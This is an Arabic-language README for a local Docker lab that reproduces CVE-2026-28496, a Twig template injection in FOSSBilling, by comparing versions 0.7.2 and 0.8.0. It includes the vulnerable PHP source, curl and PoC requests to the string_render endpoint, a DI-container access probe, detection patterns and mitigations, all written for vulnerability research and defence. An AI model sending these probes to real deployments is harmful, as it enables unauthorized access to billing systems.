
مختبر قائم على Docker لإعادة إنتاج والتحقق من CVE-2026-28496، وهي ثغرة حقن قالب من جانب الخادم في عرض Twig الخاص بـ FOSSBilling، مع أهداف مقارنة معرضة ومصححة.
يحتوي هذا المستودع على مختبر محلي يعمل بـ Docker لإعادة إنتاج والتحقق من CVE-2026-28496، وهي ثغرة حقن قوالب من جانب الخادم تؤثر على سلوك تقديم قوالب Twig في FOSSBilling.
FOSSBilling هي منصة فوترة وإدارة عملاء مجانية ومفتوحة المصدر. الإصدارات السابقة للإصدار 0.8.0 متأثرة بسلوك تقديم قوالب Twig غير الآمن الذي يمكنه تقييم تعبيرات القوالب المقدمة. يُستخدم FOSSBilling 0.8.0 كهدف مقارنة مُصحَّح في هذا المختبر.
يقارن هذا المختبر بين إصدارين من FOSSBilling:
| الخدمة | إصدار FOSSBilling | الغرض | URL |
|---|
| vuln | 0.7.2 | هدف المقارنة المعرّض للثغرة | http://localhost:8081 |
| patched | 0.8.0 | هدف المقارنة المُصحَّح | http://localhost:8082 |
مسار التحقق عبر HTTP المُوضَّح في هذا المختبر المحلي هو:```text Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab → POST /api/system/system/string_render → JSON body contains _tpl={{ 7*7 }} → vulnerable target renders the Twig expression → patched target does not expose the same tested API behavior
في الهدف الضعيف، يُرجع استدعاء API:```json
{"result":"49","error":null}
في الهدف المُصحَّح، يُرجع نفس الطلب:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
هذا المختبر يتحقق من سلوك HTTP بين النسخة القابلة للاستغلال والنسخة المصحّحة باستخدام FOSSBilling 0.7.2 و FOSSBilling 0.8.0.
المختبر مُقيَّد عمدًا بخدمات Docker المحلية. لا يستهدف أنظمة خارجية ولا يتضمن قوائم ويب، أو برمجيات خبيثة، أو استمرارية، أو استدعاءات خارجية، أو تفريغ قواعد بيانات، أو حمولات تدميرية.
## حقائق مُتحقق منها
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| يؤثر CVE-2026-28496 على إصدارات FOSSBilling الأقدم من 0.8.0. | بيانات CVE العامة وبيانات النشرة الاستشارية تحدد FOSSBilling قبل 0.8.0 كإصدار متأثر بثغرة Twig SSTI. | راجع قسم المراجع وقارن بين إصداري الهدف القابل للاستغلال والهدف المُصحَّح. |
| يُستخدم FOSSBilling 0.7.2 كهدف المقارنة القابل للاستغلال. | الخدمة القابلة للاستغلال مبنية من صورة Docker الرسمية `fossbilling/fossbilling:0.7.2`. | افحص `vuln/Dockerfile` وشغّل `docker compose ps -a`. |
| يُستخدم FOSSBilling 0.8.0 كهدف المقارنة المُصحَّح. | الخدمة المُصحَّحة مبنية من صورة Docker الرسمية `fossbilling/fossbilling:0.8.0`. | افحص `patched/Dockerfile` وشغّل `docker compose ps -a`. |
| مسار HTTP القابل للاستغلال هو `/api/system/system/string_render`. | الهدف القابل للاستغلال يُرجع JSON بقيمة `result: "49"` عند إرسال `_tpl={{ 7*7 }}`. | شغّل `python3 poc/poc.py --url http://localhost:8081`. |
| الهدف المُصحَّح لا يُظهر نفس سلوك HTTP. | الهدف المُصحَّح يُرجع `Unknown API call system/system/string_render`. | شغّل `python3 poc/poc.py --url http://localhost:8082`. |
| إثبات المفهوم (PoC) يعتمد على HTTP فقط. | يرسل `poc/poc.py` طلبات HTTP POST ولا يستدعي Docker أو Docker Compose أو أوامر shell أو واجهات برمجة الحاويات. | افحص `poc/poc.py`. |
| المختبر يثبّت تلقائيًا كلا هدفي FOSSBilling أثناء بدء تشغيل Docker Compose. | حاويات المثبّت الجانبية التي تعمل لمرة واحدة تُكمل الإعداد وتخرج بحالة 0. | شغّل `docker compose ps -a` و `docker compose logs installer-vuln installer-patched`. |
| الهدف القابل للاستغلال يعرض تعبير Twig غير الضار. | استجابة HTTP من المنفذ 8081 هي `{"result":"49","error":null}`. | شغّل أمر PoC الخاص بالنسخة القابلة للاستغلال. |
| الهدف المُصحَّح لا يعرض نفس التعبير عبر مسار API المُختبَر. | استجابة HTTP من المنفذ 8082 هي خطأ JSON API برمز `879`. | شغّل أمر PoC الخاص بالنسخة المُصحَّحة. |
## الافتراضات والمجهولات
يستخدم هذا المختبر FOSSBilling 0.7.2 كهدف المقارنة القابل للاستغلال لأن الأبحاث العامة حول الثغرات تحدد إصدارات FOSSBilling قبل 0.8.0 كمتأثرة، و0.7.2 هو أحدث إصدار قابل للاستغلال مُستخدم في السلسلة المُختبَرة.
يستخدم هذا المختبر FOSSBilling 0.8.0 كهدف المقارنة المُصحَّح لأن بيانات النشرة الاستشارية العامة تحدد 0.8.0 كالنسخة المصحَّحة.
يركز هذا المختبر على سلوك HTTP القابل للملاحظة لكل من:```text
POST /api/system/system/string_render
مع جسم JSON هذا:```json {"_tpl":"{{ 7*7 }}"}
يُظهر المختبر أن FOSSBilling 0.7.2 يعرض تعبير Twig المُقدَّم عبر مسار HTTP API، بينما لا يوفّر FOSSBilling 0.8.0 نفس استدعاء API.
لا يدّعي هذا المختبر اختبار كل ميزة من ميزات عرض قوالب FOSSBilling. يرتبط CVE-2026-28496 أيضًا بسياقات أخرى لعرض Twig، مثل ميزات عرض القوالب المتاحة داخل التطبيق.
لا يوضح هذا المختبر سلسلة تنفيذ التعليمات البرمجية عن بُعد الكاملة غير الموثَّقة. إنه يتحقق من سلوك HTTP غير الموثَّق الذي لوحظ في هدف FOSSBilling 0.7.2 المحلي ويقارنه مع FOSSBilling 0.8.0. تتضمن السلسلة العامة الكاملة سلوك تفويض API إضافيًا يتجاوز التحقق الآمن من تعبير Twig الموضح هنا.
لا يعرض المختبر:
* تنفيذ أوامر عن بُعد،
* استخراج بيانات الاعتماد،
* تفريغ قاعدة البيانات،
* تثبيت الإضافات،
* كتابة ملفات عشوائية،
* الثبات،
* رفع ويب شيل،
* استدعاءات خارجية،
* هجمات ضد أنظمة خارج المختبر،
* أو أنشطة ما بعد الاستغلال.
## ملخص السبب الجذري
السبب الجذري لـ CVE-2026-28496 هو عرض قوالب Twig غير الآمن.
يستخدم FOSSBilling Twig لعرض القوالب الديناميكية. في الإصدارات المعرضة للخطر، يمكن تمرير سلسلة قالب مُقدَّمة إلى منطق عرض Twig دون قيود كافية لبيئة الحماية المعزولة (sandbox).
يمكن تلخيص السلوك المعرض للخطر على النحو التالي:```text
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
لهذا التعبير القالبي غير الضار:```twig {{ 7*7 }}
يُقيّم الهدف المعرّض للخطر التعبير ويُرجع:```text
49
المشكلة الأمنية لا تقتصر على التقييم الحسابي. التقييم الحسابي هو فقط الإشارة المرئية الآمنة المستخدمة في هذا التمرين.
المشكلة الأكثر حساسية أمنيًا هي أن قوالب Twig غير المعزولة قد تصل إلى الكائنات والطرق المكشوفة في سياق القالب. يصف البحث العام مسارًا ذا تأثير أعلى حيث يمكن لتنفيذ قالب Twig الوصول إلى دواخل التطبيق، بما في ذلك حاوية حقن التبعية، عندما تتوفر كائنات سياق قالب مناسبة.
النموذج المبسّط القابل للاستغلال هو:```text Template renderer → unsandboxed Twig expression → method/object access may be possible → application internals may become reachable → sensitive services may become reachable
التصميم المُرقَّع في FOSSBilling 0.8.0 يحصّن السلوك القابل للاستغلال. في هذا المختبر، لم يعد الهدف المُرقَّع يعرض استدعاء API المُختبَر:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
الدرس الأمني هو:```text Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
## تحليل الكود المصدري
السلوك الضعيف في HTTP مدعوم بمسار الكود المصدري في FOSSBilling 0.7.2.
تستقبل طريقة API القيمة `_tpl` من بيانات الطلب وتمرّرها إلى مُصيّر خدمة النظام.
نقطة الدخول الضعيفة ذات الصلة:```php
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
تدفق البيانات المهم هو:```text HTTP request body → _tpl → System\Api\Admin::string_render() → System\Service::renderString()
في FOSSBilling 0.7.2، تحاول `renderString()` تحميل القيمة المقدمة كاسم قالب. إذا فشل ذلك، تتعامل مع القيمة المقدمة كسلسلة قالب وتمررها إلى `createTemplateFromString()`.
تدفق الثغرة المبسّط:```php
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
الـ sink المعرّض للخطر هو createTemplateFromString():```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
النمط المصدر ذو الصلة بالأمان هو:```text
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
هذا يشرح نتيجة المختبر الضعيف:```text POST /api/system/system/string_render {"_tpl":"{{ 7*7 }}"}
الاستجابة الضعيفة:```json
{"result":"49","error":null}
The value 49 proves that the supplied Twig expression was evaluated server-side.
The safe lab payload only uses arithmetic:
تُثبت القيمة 49 أن تعبير Twig المُقدَّم تم تقييمه من جانب الخادم.
الحمولة الآمنة للمختبر تستخدم العمليات الحسابية فقط:```twig {{ 7*7 }}
ومع ذلك، فإن السبب الجذري أكثر حساسية من الناحية الأمنية من تقييم التعبيرات الحسابية. في سياقات العرض المعرضة للخطر، قد تتفاعل قوالب Twig مع كائنات التطبيق الموجودة في بيئة القالب. يصف البحث العام سلاسل ذات تأثير أعلى حيث يمكن لكائنات سياق API كشف الوصول إلى الأجزاء الداخلية للتطبيق مثل حاوية حقن التبعية.
أكد فحص الانحدار على مستوى المصدر السلوك الأعمق:```text
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
لهذا السبب يُفهم الثغرة على أنها عرض قوالب غير آمن، وليس مجرد خطأ في تقييم تعبيرات بأسلوب الآلة الحاسبة.
يغيّر FOSSBilling 0.8.0 السلوك القابل للاستغلال من خلال تقوية عرض السلاسل النصية وإزالة سلوك HTTP القابل للاستغلال الذي تم اختباره.
في الإصدار المُصحح، يتم توجيه عرض السلاسل النصية عبر عرض مُدرك للعزل (sandbox-aware) بدلاً من عرض سلاسل القوالب التعسفية مباشرةً مع إمكانيات Twig الواسعة.
يستدعي كود الخدمة المُصحح عارضًا مُدركًا للعزل:```php $rendered = SandboxedStringRenderer::render( $twig, $tpl, $vars, $errorMessage );
يُنشئ العارض المعزول قالبًا ويعرضه، لكنه يلتقط انتهاكات وضع الحماية في Twig ويحوّلها إلى خطأ تطبيق مُتحكَّم فيه:```php
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
تحظر سياسة الصندوق الرمل الوصول إلى الأساليب والخصائص افتراضيًا:```php $methods = []; $properties = [];
التغيير ذو الصلة بالأمان هو:```text
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
بالنسبة لمسار واجهة برمجة التطبيقات HTTP العامة الذي تم اختباره في هذا المختبر، لا يوفّر FOSSBilling 0.8.0 نفس استدعاء واجهة برمجة التطبيقات الضعيف:```json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
هذا يوفر طبقتين مفيدتين للتحقق:```text
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
The المختبر يُبقي هاتين الطبقتين منفصلتين:```text HTTP PoC result proves the vulnerable endpoint behavior.
Source patch review explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
## بنية المختبر
يشغّل المختبر تثبيتين معزولين لـ FOSSBilling عبر Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
تستخدم خدمتا FOSSBilling قواعد بيانات منفصلة وإصدارات تطبيقات منفصلة:
| الخدمة | المكوّن | الإصدار / الدور |
|---|---|---|
| vuln | FOSSBilling | التطبيق الهدف المعرّض للثغرات |
| patched | FOSSBilling | التطبيق الهدف المُصحَّح |
| vuln-db | MariaDB | قاعدة بيانات الهدف المعرّض للثغرات |
| patched-db | MariaDB | قاعدة بيانات الهدف المُصحَّح |
| installer-vuln | curl sidecar | يقوم بتثبيت الهدف المعرّض للثغرات تلقائيًا |
| installer-patched | curl sidecar | يقوم بتثبيت الهدف المُصحَّح تلقائيًا |
الخدمات المكشوفة افتراضيًا:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
يستخدم المختبر إصدارات FOSSBilling المحددة:
| الهدف | إصدار FOSSBilling | السلوك المتوقع |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | يعرض `{{ 7*7 }}` عبر مسار API الضعيف |
| http://localhost:8082 | 0.8.0 | لا يعرض نفس سلوك API الضعيف |
تعمل الحاويات الجانبية للمثبّت تلقائيًا أثناء `docker compose up`. تقوم بتهيئة كلٍّ من هدفَي FOSSBilling ببيانات اعتماد قاعدة بيانات محلية مؤقتة ثم تخرج.
لا يقوم المختبر بإنشاء مسار API الضعيف أو تعديله.
يتم توفير المسار `/api/system/system/string_render` بواسطة تطبيق FOSSBilling في الهدف الضعيف 0.7.2 بعد التثبيت. لا يقوم مختبر Docker إلا بتثبيت التطبيق عبر عملية التثبيت العادية الخاصة به ثم يرسل طلب HTTP إلى نقطة نهاية التطبيق الحالية.
يُرجع الهدف المُصحَّح 0.8.0 استجابة `Unknown API call system/system/string_render`، مما يؤكد أن سلوك المسار المُختبَر يأتي من إصدار التطبيق نفسه وليس من مسار أنشأه المختبر.
## المتطلبات
* Docker Desktop أو Docker Engine
* Docker Compose v2
* Python 3
* الوصول إلى الإنترنت أثناء السحب الأول لصورة Docker
لا يلزم أي حزمة Python تابعة لجهات خارجية. يستخدم PoC وحدات مكتبة Python القياسية فقط.
## بدء سريع
ابدأ المختبر من حالة نظيفة:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
تحقق من حالة الخدمة:```bash docker compose ps -a
الخدمات المتوقعة قيد التشغيل:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
الخدمات المتوقعة بعد اكتمال التثبيت:```text cve-2026-28496-installer-vuln Exited (0) cve-2026-28496-installer-patched Exited (0)
افحص سجلات المثبت:```bash
docker compose logs installer-vuln installer-patched
تحقق من تطبيقات الويب:```bash curl -i http://127.0.0.1:8081 | head curl -i http://127.0.0.1:8082 | head
شغّل التحقق من HTTP ضد الهدف الضعيف:```bash
python3 poc/poc.py --url http://localhost:8081
قم بتشغيل التحقق من HTTP ضد الهدف المُصحَّح:```bash python3 poc/poc.py --url http://localhost:8082
## استخدام PoC
يقبل PoC عنوان URL أساسي محلي واحد لـ FOSSBilling:```bash
python3 poc/poc.py --url <target_url>
أمثلة:```bash python3 poc/poc.py --url http://localhost:8081 python3 poc/poc.py --url http://localhost:8082 python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
يرسل PoC طلب HTTP هذا:```text
POST /api/system/system/string_render
Content-Type: application/json
نص الطلب:```json {"_tpl":"{{ 7*7 }}"}
يعتمد PoC على HTTP فقط. ولا يستدعي Docker أو Docker Compose أو أوامر shell أو WP-CLI أو واجهات برمجة تطبيقات الحاويات.
## النتائج المتوقعة
### الهدف الضعيف
الأمر:```bash
python3 poc/poc.py --url http://localhost:8081
إشارة الهدف المعرّض للخطر المتوقعة:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8081 Endpoint: http://localhost:8081/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=200 content-type=application/json; charset=utf-8 {"result":"49","error":null}
===== verdict ===== VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
### الهدف المُرقَّع
الأمر:```bash
python3 poc/poc.py --url http://localhost:8082
إشارة الهدف المتوقعة بعد التصحيح:```text CVE-2026-28496 HTTP validation PoC Scope: authorized local lab target only URL: http://localhost:8082 Endpoint: http://localhost:8082/api/system/system/string_render Template: {{ 7*7 }}
===== HTTP response ===== status=400 content-type=application/json {"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict ===== PATCHED/NOT REACHABLE: target did not render the supplied template.
الفرق المهم هو:```text
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
يرسل المُتحقِّق طلب HTTP POST واحدًا إلى نقطة نهاية API الخاصة بـ FOSSBilling:```text /api/system/system/string_render
يحتوي نص الطلب على تعبير Twig غير ضار:```json
{"_tpl":"{{ 7*7 }}"}
السلوك الضعيف المتوقع:```text HTTP 200 OK JSON result is "49"
السلوك المتوقع بعد التصحيح:```text
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
يؤكد هذا أن الهدف الضعيف يقيّم القالب المقدَّم من جانب الخادم.
يستخدم PoC عمدًا {{ 7*7 }} بدلاً من حمولة تدميرية. الهدف هو إثبات الشرط التقني بأمان:```text
attacker-controlled template input
للتحقق الأعمق من السبب الجذري على مستوى الكود المصدري، يُعد الوصول إلى الطريقة دليلاً أقوى على القضية الأساسية. ومع ذلك، يستخدم إثبات المفهوم (PoC) العام في هذا المستودع التعبير الحسابي الأكثر أمانًا لتجنب عرض سلسلة عالية التأثير.
## إعادة الإنتاج اليدوي عبر HTTP باستخدام curl
الاختبار الاستكشافي المعرّض للثغرة:```bash
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
النتيجة المتوقعة:```text HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
المسبار المُرَقَّع:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
النتيجة المتوقعة:```text HTTP/1.1 400 Bad Request Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
## التأثير
يُعد حقن القوالب من جهة الخادم (Server-Side Template Injection) في منصة فوترة وإدارة عملاء أمرًا حساسًا أمنيًا لأن التطبيق قد يخزن سجلات العملاء، وبيانات الفوترة، وبيانات اعتماد الخوادم، وإعدادات الدفع، ومنطق الأتمتة الذي يتحكم به المسؤول.
الحمولة المعروضة في المختبر غير ضارة وتقوم فقط بتقييم:```twig
{{ 7*7 }}
ومع ذلك، فإن الفئة الأساسية من الثغرة يمكن أن تكون أكثر خطورة عندما يتوفر لتنفيذ القالب إمكانية الوصول إلى كائنات التطبيق أو أساليبه أو حاويات الخدمة الخاصة به.
قد يشمل التأثير الواقعي المحتمل، اعتمادًا على الإعدادات وسياق القالب الذي يمكن الوصول إليه، ما يلي:
يعرض هذا المختبر فقط إشارة التحقق من صحة HTTP الآمنة. ولا يعرض الوصول إلى بيانات الاعتماد، أو الوصول إلى قاعدة البيانات، أو تثبيت الإضافات، أو تنفيذ الأوامر، أو الأنشطة ما بعد الاستغلال.
تشمل المؤشرات المحتملة طلبات HTTP المرسلة إلى نقطة نهاية FOSSBilling API:```text /api/system/system/string_render
نمط الطلب المشبوه:```text
POST /api/system/system/string_render
Content-Type: application/json
مؤشرات جسم الطلب المشبوه:```text _tpl {{ }} Twig syntax
مثال على نمط سجل الوصول:```text
POST /api/system/system/string_render
مثال على حمولة JSON:```json {"_tpl":"{{ 7*7 }}"}
إجراءات المراقبة الموصى بها:
* راجع سجلات وصول خادم الويب بحثًا عن `/api/system/system/string_render`.
* راجع الطلبات التي تحتوي على `_tpl` في نصوص طلبات JSON.
* راجع الطلبات التي تحتوي على بناء جملة Twig مثل `{{` و `}}`.
* راجع استجابات API الناجحة التي تحتوي على مخرجات قوالب معروضة.
* راجع استجابات API الفاشلة بحثًا عن محاولات عرض قوالب مشبوهة.
* راجع نشاط المسؤول إذا كان هناك اشتباه في الاستغلال.
* راجع تغييرات تكوين القوالب والبريد الإلكتروني ومرسل البريد الجماعي ومهايئ الدفع.
* راجع سجلات التطبيق بحثًا عن أخطاء عرض القوالب أو استدعاءات API غير متوقعة.
فكرة كشف عالية الإشارة:```text
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
أثر تحقق محلي آخر عالي الإشارة:```text Request body: {"_tpl":"{{ 7*7 }}"}
Response body: {"result":"49","error":null}
## ملاحظات التخفيف والتصحيح
قم بترقية FOSSBilling إلى الإصدار 0.8.0 أو أحدث.
بالنسبة لبيئات الإنتاج، قم بالتحديث إلى أحدث إصدار متاح بدلاً من التوقف عند إصدار المقارنة المخبري.
خطوات التخفيف الموصى بها:
* قم بترقية FOSSBilling إلى 0.8.0 أو أحدث.
* تأكد من أن الإصدار المثبت ليس ضمن النطاق المتأثر.
* قيّد الوصول العام إلى مسارات واجهة برمجة التطبيقات الإدارية حيثما أمكن.
* راجع سجلات الوصول للويب بحثًا عن طلبات إلى `/api/system/system/string_render`.
* راجع القوالب وقوالب البريد الإلكتروني ورسائل البريد الجماعي ومحولات الدفع المخصصة بحثًا عن صيغ Twig المشبوهة.
* قم بتدوير الأسرار إذا كان هناك اشتباه في الاستغلال.
* راجع سجلات العملاء والفوترة والدفع وإدارة الخوادم بحثًا عن وصول غير مصرح به.
* تعامل مع قواعد WAF أو حظر الوكيل العكسي كضوابط مؤقتة، وليست بديلاً عن الترقية.
دروس هندسة الأمان:
* لا تقم بعرض سلاسل قوالب غير موثوقة في سياق تطبيق مميز.
* لا تعرض حاويات خدمات التطبيق لسياقات القوالب.
* استخدم عرض القوالب في بيئة معزولة (sandbox) لميزات القوالب التي يتحكم فيها المستخدم أو المسؤول.
* امنع الوصول إلى الأساليب والخصائص ما لم تكن مطلوبة صراحةً.
* اجعل فشل تفويض واجهة برمجة التطبيقات صريحًا وفي وضع الإغلاق الآمن (fail closed).
* تعامل مع ميزات عرض القوالب كأسطح مجاورة لتنفيذ التعليمات البرمجية.
## أوامر التحقق المفيدة
تحقق من حالة الحاوية:```bash
docker compose ps -a
تحقق من سجلات المثبّت:```bash docker compose logs installer-vuln installer-patched
افحص خدمات الويب:```bash
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
تشغيل التحقق من HTTP الضعيف:```bash python3 poc/poc.py --url http://localhost:8081
شغّل التحقق من HTTP المُصحَّح:```bash
python3 poc/poc.py --url http://localhost:8082
طلب ضعيف يدوي:```bash
curl -i -X POST
'http://127.0.0.1:8081/api/system/system/string_render'
-H 'Content-Type: application/json'
--data '{"_tpl":"{{ 7*7 }}"}'
طلب مصحح يدويًا:```bash
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
افحص تدفق المصدر المعرض للخطر من شجرة المصدر المسحوبة:```bash git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php grep -n "function renderString" -A70 src/modules/System/Service.php grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
افحص عارض الصندوق الرملي المُصحَّح من شجرة المصادر المستخرجة:```bash
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
حفظ أدلة التحقق:```bash mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082
| tee evidence/patched-http-validation.txt
docker compose ps -a
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched
| tee evidence/installer-logs.txt
تحقق من ترويسات استجابة FOSSBilling:```bash
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
أوقف وأزل الحاويات والشبكات:```bash docker compose down --remove-orphans
احذف الحاويات والشبكات ووحدات التخزين:```bash
docker compose down -v --remove-orphans
احذف ملفات الأدلة المحلية إذا تم إنشاؤها:```bash rm -rf evidence/
## حدود السلامة
هذا المختبر مخصص للبحث الأمني المحلي والعرض التجريبي المُتحكَّم فيه فقط.
لا تشغّل الـ PoC أو طلبات curl اليدوية ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا تستخدم بيانات اعتماد إنتاجية حقيقية، أو بيانات العملاء، أو بيانات الدفع، أو مفاتيح API، أو أسرار الإنتاج في هذا المختبر.
النطاق المقصود محدود بخدمات Docker المحلية مثل:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
إن PoC صُمم عمدًا ليكون HTTP-only وضمن نطاق محلي. لا يستدعي Docker أو Docker Compose أو أوامر shell أو WP-CLI أو واجهات برمجة تطبيقات الحاويات.
لا يتضمن المختبر حمولات من أجل:
الهدف هو إثبات حالة تقنية محددة واحدة في بيئة خاضعة للتحكم:```text HTTP request
## المراجع
* سجل CVE: CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* إشعار GitHub: GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck: تجاوز المصادقة في FOSSBilling و Twig SSTI إلى استغلال RCE دون مصادقة
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* توثيق Docker الخاص بـ FOSSBilling
https://docs.fossbilling.org/getting-started/docker/
* مستودع FOSSBilling على GitHub
https://github.com/FOSSBilling/FOSSBilling
* صورة Docker الخاصة بـ FOSSBilling
https://hub.docker.com/r/fossbilling/fossbilling
* توثيق Twig: امتداد Sandbox
https://twig.symfony.com/doc/3.x/sandbox.html